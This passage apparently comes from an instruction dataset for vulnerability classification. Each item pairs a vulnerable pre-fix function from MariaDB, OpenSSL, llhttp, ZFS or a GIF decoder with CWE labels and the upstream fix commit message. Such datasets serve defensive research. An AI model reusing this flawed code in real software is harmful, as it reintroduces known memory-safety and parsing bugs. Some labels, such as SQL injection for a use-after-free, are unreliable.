(thd->locked_tables_mode == LTM_LOCK_TABLES)\n      DBUG_VOID_RETURN;\n\n    thd->leave_locked_tables_mode();\n\n    /* Fallthrough */\n  }\n\n  if (thd->lock)\n  {\n    /*\n      For RBR we flush the pending event just before we unlock all the\n      tables.  This means that we are at the end of a topmost\n      statement, so we ensure that the STMT_END_F flag is set on the\n      pending event.  For statements that are *inside* stored\n      functions, the pending event will not be flushed: that will be\n      handled either before writing a query log event (inside\n      binlog_query()) or when preparing a pending event.\n     */\n    (void)thd->binlog_flush_pending_rows_event(TRUE);\n    mysql_unlock_tables(thd, thd->lock);\n    thd->lock=0;\n  }\n  /*\n    Closing a MERGE child before the parent would be fatal if the\n    other thread tries to abort the MERGE lock in between.\n  */\n  while (thd->open_tables)\n    (void) close_thread_table(thd, &thd->open_tables);\n\n  DBUG_VOID_RETURN;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-703'], 'message': 'MDEV-24176 Server crashes after insert in the table with virtual\ncolumn generated using date_format() and if()\n\nvcol_info->expr is allocated on expr_arena at parsing stage. Since\nexpr item is allocated on expr_arena all its containee items must be\nallocated on expr_arena too. Otherwise fix_session_expr() will\nencounter prematurely freed item.\n\nWhen table is reopened from cache vcol_info contains stale\nexpression. We refresh expression via TABLE::vcol_fix_exprs() but\nfirst we must prepare a proper context (Vcol_expr_context) which meets\nsome requirements:\n\n1. As noted above expr update must be done on expr_arena as there may\nbe new items created. It was a bug in fix_session_expr_for_read() and\nwas just not reproduced because of no second refix. Now refix is done\nfor more cases so it does reproduce. Tests affected: vcol.binlog\n\n2. Also name resolution context must be narrowed to the single table.\nTested by: vcol.update main.default vcol.vcol_syntax gcol.gcol_bugfixes\n\n3. sql_mode must be clean and not fail expr update.\n\nsql_mode such as MODE_NO_BACKSLASH_ESCAPES, MODE_NO_ZERO_IN_DATE, etc\nmust not affect vcol expression update. If the table was created\nsuccessfully any further evaluation must not fail. Tests affected:\nmain.func_like\n\nReviewed by: Sergei Golubchik '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool parse_vcol_defs(THD *thd, MEM_ROOT *mem_root, TABLE *table,\n                     bool *error_reported, vcol_init_mode mode)\n{\n  CHARSET_INFO *save_character_set_client= thd->variables.character_set_client;\n  CHARSET_INFO *save_collation= thd->variables.collation_connection;\n  Query_arena  *backup_stmt_arena_ptr= thd->stmt_arena;\n  const uchar *pos= table->s->vcol_defs.str;\n  const uchar *end= pos + table->s->vcol_defs.length;\n  Field **field_ptr= table->field - 1;\n  Field **vfield_ptr= table->vfield;\n  Field **dfield_ptr= table->default_field;\n  Virtual_column_info **check_constraint_ptr= table->check_constraints;\n  sql_mode_t saved_mode= thd->variables.sql_mode;\n  Query_arena backup_arena;\n  Virtual_column_info *vcol= 0;\n  StringBuffer expr_str;\n  bool res= 1;\n  DBUG_ENTER(\"parse_vcol_defs\");\n\n  if (check_constraint_ptr)\n    memcpy(table->check_constraints + table->s->field_check_constraints,\n           table->s->check_constraints,\n           table->s->table_check_constraints * sizeof(Virtual_column_info*));\n\n  DBUG_ASSERT(table->expr_arena == NULL);\n  /*\n    We need to use CONVENTIONAL_EXECUTION here to ensure that\n    any new items created by fix_fields() are not reverted.\n  */\n  table->expr_arena= new (alloc_root(mem_root, sizeof(Table_arena)))\n                        Table_arena(mem_root, \n                                    Query_arena::STMT_CONVENTIONAL_EXECUTION);\n  if (!table->expr_arena)\n    DBUG_RETURN(1);\n\n  thd->set_n_backup_active_arena(table->expr_arena, &backup_arena);\n  thd->stmt_arena= table->expr_arena;\n  thd->update_charset(&my_charset_utf8mb4_general_ci, table->s->table_charset);\n  expr_str.append(&parse_vcol_keyword);\n  thd->variables.sql_mode &= ~MODE_NO_BACKSLASH_ESCAPES;\n\n  while (pos < end)\n  {\n    uint type, expr_length;\n    if (table->s->frm_version >= FRM_VER_EXPRESSSIONS)\n    {\n      uint field_nr, name_length;\n      /* see pack_expression() for how data is stored */\n      type= pos[0];\n      field_nr= uint2korr(pos+1);\n      expr_length= uint2korr(pos+3);\n      name_length= pos[5];\n      pos+= FRM_VCOL_NEW_HEADER_SIZE + name_length;\n      field_ptr= table->field + field_nr;\n    }\n    else\n    {\n      /*\n        see below in ::init_from_binary_frm_image for how data is stored\n        in versions below 10.2 (that includes 5.7 too)\n      */\n      while (*++field_ptr && !(*field_ptr)->vcol_info) /* no-op */;\n      if (!*field_ptr)\n      {\n        open_table_error(table->s, OPEN_FRM_CORRUPTED, 1);\n        goto end;\n      }\n      type= (*field_ptr)->vcol_info->stored_in_db\n            ? VCOL_GENERATED_STORED : VCOL_GENERATED_VIRTUAL;\n      expr_length= uint2korr(pos+1);\n      if (table->s->mysql_version > 50700 && table->s->mysql_version < 100000)\n        pos+= 4;                        // MySQL from 5.7\n      else\n        pos+= pos[0] == 2 ? 4 : 3;      // MariaDB from 5.2 to 10.1\n    }\n\n    expr_str.length(parse_vcol_keyword.length);\n    expr_str.append((char*)pos, expr_length);\n    thd->where= vcol_type_name(static_cast(type));\n\n    switch (type) {\n    case VCOL_GENERATED_VIRTUAL:\n    case VCOL_GENERATED_STORED:\n      vcol= unpack_vcol_info_from_frm(thd, mem_root, table, &expr_str,\n                                    &((*field_ptr)->vcol_info), error_reported);\n      *(vfield_ptr++)= *field_ptr;\n      if (vcol && field_ptr[0]->check_vcol_sql_mode_dependency(thd, mode))\n      {\n        DBUG_ASSERT(thd->is_error());\n        *error_reported= true;\n        goto end;\n      }\n      break;\n    case VCOL_DEFAULT:\n      vcol= unpack_vcol_info_from_frm(thd, mem_root, table, &expr_str,\n                                      &((*field_ptr)->default_value),\n                                      error_reported);\n      *(dfield_ptr++)= *field_ptr;\n      if (vcol && (vcol->flags & (VCOL_NON_DETERMINISTIC | VCOL_SESSION_FUNC)))\n        table->s->non_determinstic_insert= true;\n      break;\n    case VCOL_CHECK_FIELD:\n      vcol= unpack_vcol_info_from_frm(thd, mem_root, table, &expr_str,\n                                      &((*field_ptr)->check_constraint),\n                                      error_reported);\n      *check_constraint_ptr++= (*field_ptr)->check_constraint;\n      break;\n    case VCOL_CHECK_TABLE:\n      vcol= unpack_vcol_info_from_frm(thd, mem_root, table, &expr_str,\n                                      check_constraint_ptr, error_reported);\n      check_constraint_ptr++;\n      break;\n    }\n    if (!vcol)\n      goto end;\n    pos+= expr_length;\n  }\n\n  /* Now, initialize CURRENT_TIMESTAMP fields */\n  for (field_ptr= table->field; *field_ptr; field_ptr++)\n  {\n    Field *field= *field_ptr;\n    if (field->has_default_now_unireg_check())\n    {\n      expr_str.length(parse_vcol_keyword.length);\n      expr_str.append(STRING_WITH_LEN(\"current_timestamp(\"));\n      expr_str.append_ulonglong(field->decimals());\n      expr_str.append(')');\n      vcol= unpack_vcol_info_from_frm(thd, mem_root, table, &expr_str,\n                                      &((*field_ptr)->default_value),\n                                      error_reported);\n      *(dfield_ptr++)= *field_ptr;\n      if (!field->default_value->expr)\n        goto end;\n    }\n    else if (field->has_update_default_function() && !field->default_value)\n      *(dfield_ptr++)= *field_ptr;\n  }\n\n  if (vfield_ptr)\n    *vfield_ptr= 0;\n\n  if (dfield_ptr)\n    *dfield_ptr= 0;\n\n  if (check_constraint_ptr)\n    *check_constraint_ptr= 0;\n\n  /* Check that expressions aren't referring to not yet initialized fields */\n  for (field_ptr= table->field; *field_ptr; field_ptr++)\n  {\n    Field *field= *field_ptr;\n    if (check_vcol_forward_refs(field, field->vcol_info) ||\n        check_vcol_forward_refs(field, field->check_constraint) ||\n        check_vcol_forward_refs(field, field->default_value))\n    {\n      *error_reported= true;\n      goto end;\n    }\n  }\n\n  res=0;\nend:\n  thd->restore_active_arena(table->expr_arena, &backup_arena);\n  thd->stmt_arena= backup_stmt_arena_ptr;\n  if (save_character_set_client)\n    thd->update_charset(save_character_set_client, save_collation);\n  thd->variables.sql_mode= saved_mode;\n  DBUG_RETURN(res);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'MDEV-26281 ASAN use-after-poison when complex conversion is involved in blob\n\nthe bug was that in_vector array in Item_func_in was allocated in the\nstatement arena, not in the table->expr_arena.\n\nrevert part of the 5acd391e8b2d. Instead, change the arena correctly\nin fix_all_session_vcol_exprs().\n\nRemove TABLE_ARENA, that was introduced in 5acd391e8b2d to force\nitem tree changes to be rolled back (because they were allocated in the\nwrong arena and didn't persist. now they do)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: Field *create_tmp_field_from_field(THD *thd, Field *org_field,\n                                   const char *name, TABLE *table,\n                                   Item_field *item)\n{\n  Field *new_field;\n\n  new_field= org_field->make_new_field(thd->mem_root, table,\n                                       table == org_field->table);\n  if (new_field)\n  {\n    new_field->init(table);\n    new_field->orig_table= org_field->orig_table;\n    if (item)\n      item->result_field= new_field;\n    else\n      new_field->field_name= name;\n    new_field->flags|= (org_field->flags & NO_DEFAULT_VALUE_FLAG);\n    if (org_field->maybe_null() || (item && item->maybe_null))\n      new_field->flags&= ~NOT_NULL_FLAG;\t// Because of outer join\n    if (org_field->type() == MYSQL_TYPE_VAR_STRING ||\n        org_field->type() == MYSQL_TYPE_VARCHAR)\n      table->s->db_create_options|= HA_OPTION_PACK_RECORD;\n    else if (org_field->type() == FIELD_TYPE_DOUBLE)\n      ((Field_double *) new_field)->not_fixed= TRUE;\n    new_field->vcol_info= new_field->default_value=\n      new_field->check_constraint= 0;\n    new_field->cond_selectivity= 1.0;\n    new_field->next_equal_field= NULL;\n    new_field->option_list= NULL;\n    new_field->option_struct= NULL;\n  }\n  return new_field;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-89'], 'message': 'MDEV-28403 ASAN heap-use-after-free in String::copy / get_field_default_value\n\nThis reverts commit 5ba77222e9fe7af8ff403816b5338b18b342053c\nbut keeps the test. A different fix for\n\nMDEV-21028 Server crashes in Query_arena::set_query_arena upon SELECT from view\n\ninternal temporary tables should use THD as expr_area'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void OPENSSL_LH_flush(OPENSSL_LHASH *lh)\n{\n    unsigned int i;\n    OPENSSL_LH_NODE *n, *nn;\n\n    if (lh == NULL)\n        return;\n\n    for (i = 0; i < lh->num_nodes; i++) {\n        n = lh->b[i];\n        while (n != NULL) {\n            nn = n->next;\n            OPENSSL_free(n);\n            n = nn;\n        }\n        lh->b[i] = NULL;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-404'], 'message': 'Fix bug in OPENSSL_LH_flush\n\nFixes #18139.\n\nReviewed-by: Richard Levitte \nReviewed-by: Tomas Mraz \n(Merged from https://github.com/openssl/openssl/pull/18141)\n\n(cherry picked from commit e5da68183410c06f7b350a0721bc2bd6057e438e)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int llhttp__after_headers_complete(llhttp_t* parser, const char* p,\n                                   const char* endp) {\n  int hasBody;\n\n  hasBody = parser->flags & F_CHUNKED || parser->content_length > 0;\n  if (parser->upgrade && (parser->method == HTTP_CONNECT ||\n                          (parser->flags & F_SKIPBODY) || !hasBody)) {\n    /* Exit, the rest of the message is in a different protocol. */\n    return 1;\n  }\n\n  if (parser->flags & F_SKIPBODY) {\n    return 0;\n  } else if (parser->flags & F_CHUNKED) {\n    /* chunked encoding - ignore Content-Length header, prepare for a chunk */\n    return 2;\n  } else if (parser->flags & F_TRANSFER_ENCODING) {\n    if (parser->type == HTTP_REQUEST &&\n        (parser->lenient_flags & LENIENT_CHUNKED_LENGTH) == 0) {\n      /* RFC 7230 3.3.3 */\n\n      /* If a Transfer-Encoding header field\n       * is present in a request and the chunked transfer coding is not\n       * the final encoding, the message body length cannot be determined\n       * reliably; the server MUST respond with the 400 (Bad Request)\n       * status code and then close the connection.\n       */\n      return 5;\n    } else {\n      /* RFC 7230 3.3.3 */\n\n      /* If a Transfer-Encoding header field is present in a response and\n       * the chunked transfer coding is not the final encoding, the\n       * message body length is determined by reading the connection until\n       * it is closed by the server.\n       */\n      return 4;\n    }\n  } else {\n    if (!(parser->flags & F_CONTENT_LENGTH)) {\n      if (!llhttp_message_needs_eof(parser)) {\n        /* Assume content-length 0 - read the next */\n        return 0;\n      } else {\n        /* Read body until EOF */\n        return 4;\n      }\n    } else if (parser->content_length == 0) {\n      /* Content-Length header given but zero: Content-Length: 0\\r\\n */\n      return 0;\n    } else {\n      /* Content-Length header given and non-zero */\n      return 3;\n    }\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-444'], 'message': 'http: stricter Transfer-Encoding and header separator parsing\n\nReviewed-By: Matteo Collina \nReviewed-By: James M Snell \nReviewed-By: Rich Trott \nReviewed-By: Vladimir de Turckheim \nPR-URL: https://github.com/nodejs-private/node-private/pull/315\nCVE-ID: CVE-2022-32215,CVE-2022-32214,CVE-2022-32212\n\nBackport-PR-URL: https://github.com/nodejs-private/node-private/pull/326'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: zfs_fuid_create_cred(zfsvfs_t *zfsvfs, zfs_fuid_type_t type,\n    cred_t *cr, zfs_fuid_info_t **fuidp)\n{\n\tuid_t\t\tid;\n\n\tVERIFY(type == ZFS_OWNER || type == ZFS_GROUP);\n\n\tid = (type == ZFS_OWNER) ? crgetuid(cr) : crgetgid(cr);\n\n\tif (IS_EPHEMERAL(id))\n\t\treturn ((type == ZFS_OWNER) ? UID_NOBODY : GID_NOBODY);\n\n\treturn ((uint64_t)id);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-732'], 'message': 'FreeBSD: Fix UNIX permissions checking\n\nReviewed-by: Ryan Moeller \r\nReviewed-by: Brian Behlendorf \r\nSigned-off-by: Matt Macy \r\nCloses #10727'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: process(register int code, unsigned char** fill)\n{\n    int incode;\n    static unsigned char firstchar;\n\n    if (code == clear) {\n\tcodesize = datasize + 1;\n\tcodemask = (1 << codesize) - 1;\n\tavail = clear + 2;\n\toldcode = -1;\n\treturn 1;\n    }\n\n    if (oldcode == -1) {\n\t*(*fill)++ = suffix[code];\n\tfirstchar = oldcode = code;\n\treturn 1;\n    }\n    if (code > avail) {\n\tfprintf(stderr, \"code %d too large for %d\\n\", code, avail);\n\treturn 0; \n    }\n\n    incode = code;\n    if (code == avail) {      /* the first code is always < avail */\n\t*stackp++ = firstchar;\n\tcode = oldcode;\n    }\n    while (code > clear) {\n\t*stackp++ = suffix[code];\n\tcode = prefix[code];\n    }\n\n    *stackp++ = firstchar = suffix[code];\n    prefix[avail] = oldcode;\n    suffix[avail] = firstchar;\n    avail++;\n\n    if (((avail & codemask) == 0) && (avail < 4096)) {\n\tcodesize++;\n\tcodemask += avail;\n    }\n    oldcode = incode;\n    do {\n\t*(*fill)++ = *--stackp;\n    } while (stackp > stack);\n    return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'fix possible OOB write in gif2tiff.c'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: unsigned char *ssl_add_serverhello_tlsext(SSL *s, unsigned char *buf,\n                                          unsigned char *limit, int *al)\n{\n    int extdatalen = 0;\n    unsigned char *orig = buf;\n    unsigned char *ret = buf;\n#ifndef OPENSSL_NO_NEXTPROTONEG\n    int next_proto_neg_seen;\n#endif\n#ifndef OPENSSL_NO_EC\n    unsigned long alg_k = s->s3->tmp.new_cipher->algorithm_mkey;\n    unsigned long alg_a = s->s3->tmp.new_cipher->algorithm_auth;\n    int using_ecc = (alg_k & SSL_kECDHE) || (alg_a & SSL_aECDSA);\n    using_ecc = using_ecc && (s->session->tlsext_ecpointformatlist != NULL);\n#endif\n\n    ret += 2;\n    if (ret >= limit)\n        return NULL;            /* this really never occurs, but ... */\n\n    if (s->s3->send_connection_binding) {\n        int el;\n\n        if (!ssl_add_serverhello_renegotiate_ext(s, 0, &el, 0)) {\n            SSLerr(SSL_F_SSL_ADD_SERVERHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n            return NULL;\n        }\n\n        /*-\n         * check for enough space.\n         * 4 bytes for the reneg type and extension length\n         * + reneg data length\n         */\n        if (CHECKLEN(ret, 4 + el, limit))\n            return NULL;\n\n        s2n(TLSEXT_TYPE_renegotiate, ret);\n        s2n(el, ret);\n\n        if (!ssl_add_serverhello_renegotiate_ext(s, ret, &el, el)) {\n            SSLerr(SSL_F_SSL_ADD_SERVERHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n            return NULL;\n        }\n\n        ret += el;\n    }\n\n    /* Only add RI for SSLv3 */\n    if (s->version == SSL3_VERSION)\n        goto done;\n\n    if (!s->hit && s->servername_done == 1\n        && s->session->tlsext_hostname != NULL) {\n        /*-\n         * check for enough space.\n         * 4 bytes for the server name type and extension length\n         */\n        if (CHECKLEN(ret, 4, limit))\n            return NULL;\n\n        s2n(TLSEXT_TYPE_server_name, ret);\n        s2n(0, ret);\n    }\n#ifndef OPENSSL_NO_EC\n    if (using_ecc) {\n        const unsigned char *plist;\n        size_t plistlen;\n        /*\n         * Add TLS extension ECPointFormats to the ServerHello message\n         */\n\n        tls1_get_formatlist(s, &plist, &plistlen);\n\n        if (plistlen > 255) {\n            SSLerr(SSL_F_SSL_ADD_SERVERHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n            return NULL;\n        }\n\n        /*-\n         * check for enough space.\n         * 4 bytes for the ec points format type and extension length\n         * 1 byte for the points format list length\n         * + length of points format list\n         */\n        if (CHECKLEN(ret, 5 + plistlen, limit))\n            return NULL;\n\n        s2n(TLSEXT_TYPE_ec_point_formats, ret);\n        s2n(plistlen + 1, ret);\n        *(ret++) = (unsigned char)plistlen;\n        memcpy(ret, plist, plistlen);\n        ret += plistlen;\n\n    }\n    /*\n     * Currently the server should not respond with a SupportedCurves\n     * extension\n     */\n#endif                          /* OPENSSL_NO_EC */\n\n    if (s->tlsext_ticket_expected && tls_use_ticket(s)) {\n        /*-\n         * check for enough space.\n         * 4 bytes for the Ticket type and extension length\n         */\n        if (CHECKLEN(ret, 4, limit))\n            return NULL;\n        s2n(TLSEXT_TYPE_session_ticket, ret);\n        s2n(0, ret);\n    } else {\n        /*\n         * if we don't add the above TLSEXT, we can't add a session ticket\n         * later\n         */\n        s->tlsext_ticket_expected = 0;\n    }\n\n    if (s->tlsext_status_expected) {\n        /*-\n         * check for enough space.\n         * 4 bytes for the Status request type and extension length\n         */\n        if (CHECKLEN(ret, 4, limit))\n            return NULL;\n        s2n(TLSEXT_TYPE_status_request, ret);\n        s2n(0, ret);\n    }\n#ifndef OPENSSL_NO_SRTP\n    if (SSL_IS_DTLS(s) && s->srtp_profile) {\n        int el;\n\n        /* Returns 0 on success!! */\n        if (ssl_add_serverhello_use_srtp_ext(s, 0, &el, 0)) {\n            SSLerr(SSL_F_SSL_ADD_SERVERHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n            return NULL;\n        }\n        /*-\n         * check for enough space.\n         * 4 bytes for the SRTP profiles type and extension length\n         * + length of the SRTP profiles list\n         */\n        if (CHECKLEN(ret, 4 + el, limit))\n            return NULL;\n\n        s2n(TLSEXT_TYPE_use_srtp, ret);\n        s2n(el, ret);\n\n        if (ssl_add_serverhello_use_srtp_ext(s, ret, &el, el)) {\n            SSLerr(SSL_F_SSL_ADD_SERVERHELLO_TLSEXT, ERR_R_INTERNAL_ERROR);\n            return NULL;\n        }\n        ret += el;\n    }\n#endif\n\n    if (((s->s3->tmp.new_cipher->id & 0xFFFF) == 0x80\n         || (s->s3->tmp.new_cipher->id & 0xFFFF) == 0x81)\n        && (SSL_get_options(s) & SSL_OP_CRYPTOPRO_TLSEXT_BUG)) {\n        const unsigned char cryptopro_ext[36] = {\n            0xfd, 0xe8,         /* 65000 */\n            0x00, 0x20,         /* 32 bytes length */\n            0x30, 0x1e, 0x30, 0x08, 0x06, 0x06, 0x2a, 0x85,\n            0x03, 0x02, 0x02, 0x09, 0x30, 0x08, 0x06, 0x06,\n            0x2a, 0x85, 0x03, 0x02, 0x02, 0x16, 0x30, 0x08,\n            0x06, 0x06, 0x2a, 0x85, 0x03, 0x02, 0x02, 0x17\n        };\n\n        /* check for enough space. */\n        if (CHECKLEN(ret, sizeof(cryptopro_ext), limit))\n            return NULL;\n        memcpy(ret, cryptopro_ext, sizeof(cryptopro_ext));\n        ret += sizeof(cryptopro_ext);\n\n    }\n#ifndef OPENSSL_NO_HEARTBEATS\n    /* Add Heartbeat extension if we've received one */\n    if (SSL_IS_DTLS(s) && (s->tlsext_heartbeat & SSL_DTLSEXT_HB_ENABLED)) {\n        /*-\n         * check for enough space.\n         * 4 bytes for the Heartbeat type and extension length\n         * 1 byte for the mode\n         */\n        if (CHECKLEN(ret, 5, limit))\n            return NULL;\n        s2n(TLSEXT_TYPE_heartbeat, ret);\n        s2n(1, ret);\n        /*-\n         * Set mode:\n         * 1: peer may send requests\n         * 2: peer not allowed to send requests\n         */\n        if (s->tlsext_heartbeat & SSL_DTLSEXT_HB_DONT_RECV_REQUESTS)\n            *(ret++) = SSL_DTLSEXT_HB_DONT_SEND_REQUESTS;\n        else\n            *(ret++) = SSL_DTLSEXT_HB_ENABLED;\n\n    }\n#endif\n\n#ifndef OPENSSL_NO_NEXTPROTONEG\n    next_proto_neg_seen = s->s3->next_proto_neg_seen;\n    s->s3->next_proto_neg_seen = 0;\n    if (next_proto_neg_seen && s->ctx->next_protos_advertised_cb) {\n        const unsigned char *npa;\n        unsigned int npalen;\n        int r;\n\n        r = s->ctx->next_protos_advertised_cb(s, &npa, &npalen,\n                                              s->\n                                              ctx->next_protos_advertised_cb_arg);\n        if (r == SSL_TLSEXT_ERR_OK) {\n            /*-\n             * check for enough space.\n             * 4 bytes for the NPN type and extension length\n             * + length of protocols list\n             */\n            if (CHECKLEN(ret, 4 + npalen, limit))\n                return NULL;\n            s2n(TLSEXT_TYPE_next_proto_neg, ret);\n            s2n(npalen, ret);\n            memcpy(ret, npa, npalen);\n            ret += npalen;\n            s->s3->next_proto_neg_seen = 1;\n        }\n    }\n#endif\n    if (!custom_ext_add(s, 1, &ret, limit, al))\n        return NULL;\n    if (s->s3->flags & TLS1_FLAGS_ENCRYPT_THEN_MAC) {\n        /*\n         * Don't use encrypt_then_mac if AEAD or RC4 might want to disable\n         * for other cases too.\n         */\n        if (SSL_IS_DTLS(s) || s->s3->tmp.new_cipher->algorithm_mac == SSL_AEAD\n            || s->s3->tmp.new_cipher->algorithm_enc == SSL_RC4\n            || s->s3->tmp.new_cipher->algorithm_enc == SSL_eGOST2814789CNT\n            || s->s3->tmp.new_cipher->algorithm_enc == SSL_eGOST2814789CNT12)\n            s->s3->flags &= ~TLS1_FLAGS_ENCRYPT_THEN_MAC;\n        else {\n            /*-\n             * check for enough space.\n             * 4 bytes for the ETM type and extension length\n             */\n            if (CHECKLEN(ret, 4, limit))\n                return NULL;\n            s2n(TLSEXT_TYPE_encrypt_then_mac, ret);\n            s2n(0, ret);\n        }\n    }\n    if (s->s3->flags & TLS1_FLAGS_RECEIVED_EXTMS) {\n        /*-\n         * check for enough space.\n         * 4 bytes for the EMS type and extension length\n         */\n        if (CHECKLEN(ret, 4, limit))\n            return NULL;\n        s2n(TLSEXT_TYPE_extended_master_secret, ret);\n        s2n(0, ret);\n    }\n\n    if (s->s3->alpn_selected != NULL) {\n        const unsigned char *selected = s->s3->alpn_selected;\n        size_t len = s->s3->alpn_selected_len;\n\n        /*-\n         * check for enough space.\n         * 4 bytes for the ALPN type and extension length\n         * 2 bytes for ALPN data length\n         * 1 byte for selected protocol length\n         * + length of the selected protocol\n         */\n        if (CHECKLEN(ret, 7 + len, limit))\n            return NULL;\n        s2n(TLSEXT_TYPE_application_layer_protocol_negotiation, ret);\n        s2n(3 + len, ret);\n        s2n(1 + len, ret);\n        *ret++ = len;\n        memcpy(ret, selected, len);\n        ret += len;\n    }\n\n done:\n\n    if ((extdatalen = ret - orig - 2) == 0)\n        return orig;\n\n    s2n(extdatalen, orig);\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20'], 'message': 'Don't change the state of the ETM flags until CCS processing\n\nChanging the ciphersuite during a renegotiation can result in a crash\nleading to a DoS attack. ETM has not been implemented in 1.1.0 for DTLS\nso this is TLS only.\n\nThe problem is caused by changing the flag indicating whether to use ETM\nor not immediately on negotiation of ETM, rather than at CCS. Therefore,\nduring a renegotiation, if the ETM state is changing (usually due to a\nchange of ciphersuite), then an error/crash will occur.\n\nDue to the fact that there are separate CCS messages for read and write\nwe actually now need two flags to determine whether to use ETM or not.\n\nCVE-2017-3733\n\nReviewed-by: Richard Levitte '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: BIO *PKCS7_dataDecode(PKCS7 *p7, EVP_PKEY *pkey, BIO *in_bio, X509 *pcert)\n{\n    int i, j;\n    BIO *out = NULL, *btmp = NULL, *etmp = NULL, *bio = NULL;\n    X509_ALGOR *xa;\n    ASN1_OCTET_STRING *data_body = NULL;\n    const EVP_MD *evp_md;\n    const EVP_CIPHER *evp_cipher = NULL;\n    EVP_CIPHER_CTX *evp_ctx = NULL;\n    X509_ALGOR *enc_alg = NULL;\n    STACK_OF(X509_ALGOR) *md_sk = NULL;\n    STACK_OF(PKCS7_RECIP_INFO) *rsk = NULL;\n    PKCS7_RECIP_INFO *ri = NULL;\n    unsigned char *ek = NULL, *tkey = NULL;\n    int eklen = 0, tkeylen = 0;\n\n    if (p7 == NULL) {\n        PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_INVALID_NULL_POINTER);\n        return NULL;\n    }\n\n    if (p7->d.ptr == NULL) {\n        PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_NO_CONTENT);\n        return NULL;\n    }\n\n    i = OBJ_obj2nid(p7->type);\n    p7->state = PKCS7_S_HEADER;\n\n    switch (i) {\n    case NID_pkcs7_signed:\n        data_body = PKCS7_get_octet_string(p7->d.sign->contents);\n        if (!PKCS7_is_detached(p7) && data_body == NULL) {\n            PKCS7err(PKCS7_F_PKCS7_DATADECODE,\n                     PKCS7_R_INVALID_SIGNED_DATA_TYPE);\n            goto err;\n        }\n        md_sk = p7->d.sign->md_algs;\n        break;\n    case NID_pkcs7_signedAndEnveloped:\n        rsk = p7->d.signed_and_enveloped->recipientinfo;\n        md_sk = p7->d.signed_and_enveloped->md_algs;\n        data_body = p7->d.signed_and_enveloped->enc_data->enc_data;\n        enc_alg = p7->d.signed_and_enveloped->enc_data->algorithm;\n        evp_cipher = EVP_get_cipherbyobj(enc_alg->algorithm);\n        if (evp_cipher == NULL) {\n            PKCS7err(PKCS7_F_PKCS7_DATADECODE,\n                     PKCS7_R_UNSUPPORTED_CIPHER_TYPE);\n            goto err;\n        }\n        break;\n    case NID_pkcs7_enveloped:\n        rsk = p7->d.enveloped->recipientinfo;\n        enc_alg = p7->d.enveloped->enc_data->algorithm;\n        data_body = p7->d.enveloped->enc_data->enc_data;\n        evp_cipher = EVP_get_cipherbyobj(enc_alg->algorithm);\n        if (evp_cipher == NULL) {\n            PKCS7err(PKCS7_F_PKCS7_DATADECODE,\n                     PKCS7_R_UNSUPPORTED_CIPHER_TYPE);\n            goto err;\n        }\n        break;\n    default:\n        PKCS7err(PKCS7_F_PKCS7_DATADECODE, PKCS7_R_UNSUPPORTED_CONTENT_TYPE);\n        goto err;\n    }\n\n    /* We will be checking the signature */\n    if (md_sk != NULL) {\n        for (i = 0; i < sk_X509_ALGOR_num(md_sk); i++) {\n            xa = sk_X509_ALGOR_value(md_sk, i);\n            if ((btmp = BIO_new(BIO_f_md())) == NULL) {\n                PKCS7err(PKCS7_F_PKCS7_DATADECODE, ERR_R_BIO_LIB);\n                goto err;\n            }\n\n            j = OBJ_obj2nid(xa->algorithm);\n            evp_md = EVP_get_digestbynid(j);\n            if (evp_md == NULL) {\n                PKCS7err(PKCS7_F_PKCS7_DATADECODE,\n                         PKCS7_R_UNKNOWN_DIGEST_TYPE);\n                goto err;\n            }\n\n            BIO_set_md(btmp, evp_md);\n            if (out == NULL)\n                out = btmp;\n            else\n                BIO_push(out, btmp);\n            